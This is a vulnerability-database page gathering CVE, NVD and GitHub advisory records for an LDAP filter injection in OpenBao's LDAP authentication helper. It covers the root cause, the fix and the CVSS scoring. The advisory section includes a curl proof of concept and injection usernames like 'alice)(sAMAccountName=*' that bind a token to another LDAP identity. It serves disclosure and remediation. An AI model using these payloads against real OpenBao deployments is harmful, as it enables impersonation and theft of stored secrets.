Vulnerability-Lookup

CVE-2026-55770 (GCVE-0-2026-55770)

Vulnerability from cvelistv5 – Published: 2026-09-15 15:44 – Updated: 2026-09-15 16:41

Title

OpenBao: LDAPi ldaputil (wrong escape func)

Summary

OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5.

Severity

6.8 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

SSVC

Exploitation: none Automatable: no Technical Impact: total

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-09-15 16:40 UTC

CWE

CWE-90 - Improper Neutralization of Special Elements used in an LDAP Query ('LDAP Injection')

Assigner

GitHub_M mitre root

References

7 references

URL	Tags
https://github.com/openbao/openbao/security/advis…	x_refsource_CONFIRM
https://github.com/openbao/openbao/pull/3306	x_refsource_MISC
https://github.com/openbao/openbao/pull/3313	x_refsource_MISC
https://github.com/openbao/openbao/commit/10b7825…	x_refsource_MISC
https://github.com/openbao/openbao/commit/8077f96…	x_refsource_MISC
https://github.com/openbao/openbao/releases/tag/v2.5.5	x_refsource_MISC
https://github.com/openbao/openbao/releases/tag/v2.6.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version	CPE status
openbao	openbao	Affected: < 2.5.5	guessed

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-55770",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "total"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-09-15T16:40:19.438513Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-09-15T16:41:35.358Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "openbao",
          "vendor": "openbao",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.5.5"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "NONE",
            "baseScore": 6.8,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "HIGH",
            "integrityImpact": "HIGH",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-90",
              "description": "CWE-90: Improper Neutralization of Special Elements used in an LDAP Query (\u0027LDAP Injection\u0027)",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-09-15T15:44:35.898Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9"
        },
        {
          "name": "https://github.com/openbao/openbao/pull/3306",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/pull/3306"
        },
        {
          "name": "https://github.com/openbao/openbao/pull/3313",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/pull/3313"
        },
        {
          "name": "https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659"
        },
        {
          "name": "https://github.com/openbao/openbao/commit/8077f96bdc02137b0a072146b6f9ca11c96c549c",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/commit/8077f96bdc02137b0a072146b6f9ca11c96c549c"
        },
        {
          "name": "https://github.com/openbao/openbao/releases/tag/v2.5.5",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
        },
        {
          "name": "https://github.com/openbao/openbao/releases/tag/v2.6.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/openbao/openbao/releases/tag/v2.6.0"
        }
      ],
      "source": {
        "advisory": "GHSA-6mwx-4547-5vc9",
        "discovery": "UNKNOWN"
      },
      "title": "OpenBao: LDAPi ldaputil (wrong escape func)"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-55770",
    "datePublished": "2026-09-15T15:44:35.898Z",
    "dateReserved": "2026-06-17T14:34:51.881Z",
    "dateUpdated": "2026-09-15T16:41:35.358Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2",
  "vulnerability-lookup:meta": {
    "nvd": "{\"cve\":{\"id\":\"CVE-2026-55770\",\"sourceIdentifier\":\"security-advisories@github.com\",\"published\":\"2026-09-15T16:17:15.763\",\"lastModified\":\"2026-09-15T17:17:22.473\",\"vulnStatus\":\"Received\",\"cveTags\":[],\"descriptions\":[{\"lang\":\"en\",\"value\":\"OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5.\"}],\"affected\":[{\"source\":\"security-advisories@github.com\",\"affectedData\":[{\"vendor\":\"openbao\",\"product\":\"openbao\",\"versions\":[{\"version\":\"\u003c 2.5.5\",\"status\":\"affected\"}]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N\",\"baseScore\":6.8,\"baseSeverity\":\"MEDIUM\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"HIGH\",\"privilegesRequired\":\"LOW\",\"userInteraction\":\"NONE\",\"scope\":\"UNCHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"HIGH\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":1.6,\"impactScore\":5.2}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-09-15T16:40:19.438513Z\",\"id\":\"CVE-2026-55770\",\"options\":[{\"exploitation\":\"none\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"total\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-90\"}]}],\"references\":[{\"url\":\"https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/commit/8077f96bdc02137b0a072146b6f9ca11c96c549c\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/pull/3306\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/pull/3313\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/releases/tag/v2.5.5\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/releases/tag/v2.6.0\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9\",\"source\":\"security-advisories@github.com\"},{\"url\":\"https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9\",\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\"}]}}",
    "redhat_vex": {
      "current_release_date": "2026-09-15T17:38:59+00:00",
      "cve": "CVE-2026-55770",
      "id": "CVE-2026-55770",
      "initial_release_date": "2026-09-15T15:44:35.898000+00:00",
      "product_status:known_not_affected": "1",
      "source": "Red Hat CSAF VEX",
      "status": "final",
      "title": "github.com/openbao/openbao: OpenBao: Unauthorized access via LDAP search filter bypass",
      "url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-55770.json",
      "version": "3"
    },
    "vulnrichment": {
      "containers": "{\"adp\": [{\"title\": \"CISA ADP Vulnrichment\", \"metrics\": [{\"other\": {\"type\": \"ssvc\", \"content\": {\"id\": \"CVE-2026-55770\", \"role\": \"CISA Coordinator\", \"options\": [{\"Exploitation\": \"none\"}, {\"Automatable\": \"no\"}, {\"Technical Impact\": \"total\"}], \"version\": \"2.0.3\", \"timestamp\": \"2026-09-15T16:40:19.438513Z\"}}}], \"references\": [{\"url\": \"https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9\", \"tags\": [\"exploit\"]}], \"providerMetadata\": {\"orgId\": \"134c704f-9b21-4f2e-91b3-4a467353bcc0\", \"shortName\": \"CISA-ADP\", \"dateUpdated\": \"2026-09-15T16:41:26.831Z\"}}], \"cna\": {\"title\": \"OpenBao: LDAPi ldaputil (wrong escape func)\", \"source\": {\"advisory\": \"GHSA-6mwx-4547-5vc9\", \"discovery\": \"UNKNOWN\"}, \"metrics\": [{\"cvssV3_1\": {\"scope\": \"UNCHANGED\", \"version\": \"3.1\", \"baseScore\": 6.8, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"MEDIUM\", \"vectorString\": \"CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N\", \"integrityImpact\": \"HIGH\", \"userInteraction\": \"NONE\", \"attackComplexity\": \"HIGH\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"LOW\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"vendor\": \"openbao\", \"product\": \"openbao\", \"versions\": [{\"status\": \"affected\", \"version\": \"\u003c 2.5.5\"}]}], \"references\": [{\"url\": \"https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9\", \"name\": \"https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9\", \"tags\": [\"x_refsource_CONFIRM\"]}, {\"url\": \"https://github.com/openbao/openbao/pull/3306\", \"name\": \"https://github.com/openbao/openbao/pull/3306\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/openbao/openbao/pull/3313\", \"name\": \"https://github.com/openbao/openbao/pull/3313\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659\", \"name\": \"https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/openbao/openbao/commit/8077f96bdc02137b0a072146b6f9ca11c96c549c\", \"name\": \"https://github.com/openbao/openbao/commit/8077f96bdc02137b0a072146b6f9ca11c96c549c\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/openbao/openbao/releases/tag/v2.5.5\", \"name\": \"https://github.com/openbao/openbao/releases/tag/v2.5.5\", \"tags\": [\"x_refsource_MISC\"]}, {\"url\": \"https://github.com/openbao/openbao/releases/tag/v2.6.0\", \"name\": \"https://github.com/openbao/openbao/releases/tag/v2.6.0\", \"tags\": [\"x_refsource_MISC\"]}], \"descriptions\": [{\"lang\": \"en\", \"value\": \"OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5.\"}], \"problemTypes\": [{\"descriptions\": [{\"lang\": \"en\", \"type\": \"CWE\", \"cweId\": \"CWE-90\", \"description\": \"CWE-90: Improper Neutralization of Special Elements used in an LDAP Query (\u0027LDAP Injection\u0027)\"}]}], \"providerMetadata\": {\"orgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"shortName\": \"GitHub_M\", \"dateUpdated\": \"2026-09-15T15:44:35.898Z\"}}}",
      "cveMetadata": "{\"cveId\": \"CVE-2026-55770\", \"state\": \"PUBLISHED\", \"dateUpdated\": \"2026-09-15T16:41:35.358Z\", \"dateReserved\": \"2026-06-17T14:34:51.881Z\", \"assignerOrgId\": \"a0819718-46f1-4df5-94e2-005712e83aaa\", \"datePublished\": \"2026-09-15T15:44:35.898Z\", \"assignerShortName\": \"GitHub_M\"}",
      "dataType": "CVE_RECORD",
      "dataVersion": "5.2"
    }
  }
}

FKIE_CVE-2026-55770

Vulnerability from fkie_nvd - Published: 2026-09-15 16:17 - Updated: 2026-09-15 17:17

Severity

6.8 (Medium) - CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659
	security-advisories@github.com	https://github.com/openbao/openbao/commit/8077f96bdc02137b0a072146b6f9ca11c96c549c
	security-advisories@github.com	https://github.com/openbao/openbao/pull/3306
	security-advisories@github.com	https://github.com/openbao/openbao/pull/3313
	security-advisories@github.com	https://github.com/openbao/openbao/releases/tag/v2.5.5
	security-advisories@github.com	https://github.com/openbao/openbao/releases/tag/v2.6.0
	security-advisories@github.com	https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9
	134c704f-9b21-4f2e-91b3-4a467353bcc0	https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "affected": [
    {
      "affectedData": [
        {
          "product": "openbao",
          "vendor": "openbao",
          "versions": [
            {
              "status": "affected",
              "version": "\u003c 2.5.5"
            }
          ]
        }
      ],
      "source": "security-advisories@github.com"
    }
  ],
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "OpenBao is an open source identity-based secrets management system. Prior to 2.5.5, OpenBao used EscapeLDAPValue, an RFC 4514 distinguished-name escaping function, where RFC 4515 LDAP search-filter escaping was required in sdk/helper/ldaputil/client.go GetUserDN. With the LDAP authentication backend configured for an Active Directory UPNDomain path or UserDN and UserAttr binding, an attacker-controlled username containing filter metacharacters could alter the search predicate and select a different directory entry because EscapeLDAPValue does not neutralize the characters handled by ldap.EscapeFilter. A resulting token could be associated with another LDAP identity and gain access to secrets, policies, or modification capabilities assigned to that identity. This issue is fixed in version 2.5.5."
    }
  ],
  "id": "CVE-2026-55770",
  "lastModified": "2026-09-15T17:17:22.473",
  "metrics": {
    "cvssMetricV31": [
      {
        "cvssData": {
          "attackComplexity": "HIGH",
          "attackVector": "NETWORK",
          "availabilityImpact": "NONE",
          "baseScore": 6.8,
          "baseSeverity": "MEDIUM",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "LOW",
          "scope": "UNCHANGED",
          "userInteraction": "NONE",
          "vectorString": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N",
          "version": "3.1"
        },
        "exploitabilityScore": 1.6,
        "impactScore": 5.2,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ],
    "ssvcV203": [
      {
        "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
        "ssvcData": {
          "id": "CVE-2026-55770",
          "options": [
            {
              "exploitation": "none"
            },
            {
              "automatable": "no"
            },
            {
              "technicalImpact": "total"
            }
          ],
          "role": "CISA Coordinator",
          "timestamp": "2026-09-15T16:40:19.438513Z",
          "version": "2.0.3"
        }
      }
    ]
  },
  "published": "2026-09-15T16:17:15.763",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/commit/8077f96bdc02137b0a072146b6f9ca11c96c549c"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/pull/3306"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/pull/3313"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/releases/tag/v2.6.0"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9"
    },
    {
      "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
      "url": "https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-90"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Secondary"
    }
  ]
}

GHSA-6MWX-4547-5VC9

Vulnerability from github – Published: 2026-06-19 21:42 – Updated: 2026-06-19 21:42

Summary

OpenBao: LDAPi ldaputil (wrong escape func)

Details

1. Description

Component

sdk/helper/ldaputil/client.go — the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.

Root Cause

The LDAP utility contains a function selection error that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the bindDN using EscapeLDAPValue():

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", EscapeLDAPValue(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)

The problem: EscapeLDAPValue() implements RFC 4514 escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: +, ,, ;, ", \, <, >, and leading/trailing spaces.

LDAP search filters (RFC 4515) have a different set of special characters: *, (, ), \, and NUL (\x00). None of these are escaped by EscapeLDAPValue(). The correct function is ldap.EscapeFilter() from the github.com/go-ldap/ldap/v3 package.

The irony: the same file uses ldap.EscapeFilter() correctly at lines 225-226 in RenderUserSearchFilter() for the UserFilter template path, but the GetUserDN() function at lines 191-193 uses the wrong escape function.

Exploitation Mechanics

Username: alice)(objectClass=*
↓ EscapeLDAPValue (no-op — no DN special chars)
alice)(objectClass=*
↓ fmt.Sprintf("(&(objectClass=user)(sAMAccountName=%s))", escapedUsername)
(&(objectClass=user)(sAMAccountName=alice)(objectClass=*))
                              ^^ injection point

The filter (&(objectClass=user)(sAMAccountName=alice)(objectClass=*)) is logically equivalent to: - sAMAccountName=alice AND objectClass=user AND objectClass=*

Since all entries match objectClass=*, the filter matches any user entry where sAMAccountName is alice, effectively ignoring the objectClass=user constraint. By crafting more sophisticated injections (e.g., alice)(|(sAMAccountName=admin), the attacker can match arbitrary different user entries.

Preconditions

LDAP authentication backend must be configured
Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding
Attacker controls the username field at login time

2. Proof of Concept

# Login with LDAP injection payload as username
curl -k -X POST \
  -H "Content-Type: application/json" \
  -d '{
    "username": "alice)(sAMAccountName=*",
    "password": "anything"
  }' \
  https://localhost:8200/v1/auth/ldap/login/admin

# LDAP filter constructed:
# (&(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))
#                   injection ──────────^
# The filter matches the first user with objectClass=user
# If the LDAP server returns admin's entry first, the token
# is bound to the admin entity, inheriting all admin policies

The LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user — potentially an administrative account.

3. Impact

Impact	Detail
Confidentiality	Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity
Integrity	Ability to modify secrets, write policies, or configure backends as the impersonated user
Availability	Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance

Likelihood: HIGH — the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond curl.

Why This Is High Severity

The LDAP auth backend is frequently used as a primary authentication method for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.

4. Remediation

Primary Fix: Use ldap.EscapeFilter

Replace EscapeLDAPValue with ldap.EscapeFilter in both filter construction paths:

import "github.com/go-ldap/ldap/v3"

// Line 191 — UPN Domain path
bindDN = fmt.Sprintf("%s@%s", ldap.EscapeFilter(username), cfg.UPNDomain)

// Line 193 — User DN path
bindDN = fmt.Sprintf("%s=%s,%s", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)

EscapeLDAPValue is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use ldap.EscapeFilter.

Audit: All Call Sites

Review all usages of EscapeLDAPValue across the codebase to ensure none are used in filter context:

grep -rn "EscapeLDAPValue" /root/cve-audit/openbao/

Defense-in-Depth

Apply the principle of least privilege to LDAP service accounts used by OpenBao
Use UserFilter with explicit attribute constraints to limit the search scope

Severity

6.8 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openbao/openbao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.1.0"
            },
            {
              "last_affected": "2.5.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/openbao/openbao"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20260617104213-10b7825c714c"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-55770"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-90"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-06-19T21:42:01Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "## 1. Description\n\n### Component\n\n`sdk/helper/ldaputil/client.go` \u2014 the shared LDAP utility library used by both the LDAP authentication backend and OpenLDAP secrets engine to construct LDAP search filters and bind DNs.\n\n### Root Cause\n\nThe LDAP utility contains a **function selection error** that causes incorrect escaping of user-controlled input in LDAP filter construction. Two lines construct the `bindDN` using `EscapeLDAPValue()`:\n\n```go\n// Line 191 \u2014 UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", EscapeLDAPValue(username), cfg.UPNDomain)\n\n// Line 193 \u2014 User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, EscapeLDAPValue(username), cfg.UserDN)\n```\n\nThe problem: `EscapeLDAPValue()` implements **RFC 4514** escaping, which is designed for Distinguished Name (DN) components. It only escapes characters meaningful in DNs: `+`, `,`, `;`, `\"`, `\\`, `\u003c`, `\u003e`, and leading/trailing spaces.\n\nLDAP **search filters** (RFC 4515) have a different set of special characters: `*`, `(`, `)`, `\\`, and NUL (`\\x00`). None of these are escaped by `EscapeLDAPValue()`. The correct function is `ldap.EscapeFilter()` from the `github.com/go-ldap/ldap/v3` package.\n\nThe irony: the same file uses `ldap.EscapeFilter()` correctly at lines 225-226 in `RenderUserSearchFilter()` for the `UserFilter` template path, but the `GetUserDN()` function at lines 191-193 uses the wrong escape function.\n\n### Exploitation Mechanics\n\n```\nUsername: alice)(objectClass=*\n\u2193 EscapeLDAPValue (no-op \u2014 no DN special chars)\nalice)(objectClass=*\n\u2193 fmt.Sprintf(\"(\u0026(objectClass=user)(sAMAccountName=%s))\", escapedUsername)\n(\u0026(objectClass=user)(sAMAccountName=alice)(objectClass=*))\n                              ^^ injection point\n```\n\nThe filter `(\u0026(objectClass=user)(sAMAccountName=alice)(objectClass=*))` is logically equivalent to:\n- `sAMAccountName=alice` AND `objectClass=user` AND `objectClass=*`\n\nSince all entries match `objectClass=*`, the filter matches **any user entry** where `sAMAccountName` is `alice`, effectively ignoring the `objectClass=user` constraint. By crafting more sophisticated injections (e.g., `alice)(|(sAMAccountName=admin`), the attacker can match arbitrary different user entries.\n\n### Preconditions\n\n- LDAP authentication backend must be configured\n- Directory must be Active Directory (UPNDomain path) or use UserDN/UserAttr binding\n- Attacker controls the `username` field at login time\n\n## 2. Proof of Concept\n\n```bash\n# Login with LDAP injection payload as username\ncurl -k -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"username\": \"alice)(sAMAccountName=*\",\n    \"password\": \"anything\"\n  }\u0027 \\\n  https://localhost:8200/v1/auth/ldap/login/admin\n\n# LDAP filter constructed:\n# (\u0026(objectClass=user)(sAMAccountName=alice)(sAMAccountName=*))\n#                   injection \u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500^\n# The filter matches the first user with objectClass=user\n# If the LDAP server returns admin\u0027s entry first, the token\n# is bound to the admin entity, inheriting all admin policies\n```\n\nThe LDAP search returns whichever entry the server ranks highest among results. In Active Directory with default sorting, this is often the oldest or alphabetically first user \u2014 potentially an administrative account.\n\n## 3. Impact\n\n| Impact | Detail |\n|--------|--------|\n| **Confidentiality** | Token bound to a different LDAP user (e.g., admin) grants access to all secrets and policies belonging to that entity |\n| **Integrity** | Ability to modify secrets, write policies, or configure backends as the impersonated user |\n| **Availability** | Low direct impact, but administrative access enables disabling or misconfiguring the entire OpenBao instance |\n\n**Likelihood: HIGH** \u2014 the escape function mismatch is a well-documented antipattern in OWASP LDAP Injection guidance. The attack is trivially exploitable with no special tooling beyond `curl`.\n\n### Why This Is High Severity\n\nThe LDAP auth backend is frequently used as a **primary authentication method** for enterprise OpenBao deployments. A successful LDAP injection against this backend can bypass the entire authentication chain, granting administrative access to the secrets store without needing to compromise an actual admin account.\n\n## 4. Remediation\n\n### Primary Fix: Use ldap.EscapeFilter\n\nReplace `EscapeLDAPValue` with `ldap.EscapeFilter` in both filter construction paths:\n\n```go\nimport \"github.com/go-ldap/ldap/v3\"\n\n// Line 191 \u2014 UPN Domain path\nbindDN = fmt.Sprintf(\"%s@%s\", ldap.EscapeFilter(username), cfg.UPNDomain)\n\n// Line 193 \u2014 User DN path\nbindDN = fmt.Sprintf(\"%s=%s,%s\", cfg.UserAttr, ldap.EscapeFilter(username), cfg.UserDN)\n```\n\n`EscapeLDAPValue` is still the correct choice for actual DN construction (where values are used as RDN components rather than filter values), but any value interpolated into an LDAP filter string must use `ldap.EscapeFilter`.\n\n### Audit: All Call Sites\n\nReview all usages of `EscapeLDAPValue` across the codebase to ensure none are used in filter context:\n\n```bash\ngrep -rn \"EscapeLDAPValue\" /root/cve-audit/openbao/\n```\n\n### Defense-in-Depth\n\n- Apply the principle of least privilege to LDAP service accounts used by OpenBao\n- Use `UserFilter` with explicit attribute constraints to limit the search scope",
  "id": "GHSA-6mwx-4547-5vc9",
  "modified": "2026-06-19T21:42:01Z",
  "published": "2026-06-19T21:42:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/security/advisories/GHSA-6mwx-4547-5vc9"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/pull/3306"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/commit/10b7825c714c1ef25b6c3c1c2cd6ecd8747c0659"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/openbao/openbao"
    },
    {
      "type": "WEB",
      "url": "https://github.com/openbao/openbao/releases/tag/v2.5.5"
    }
  ],
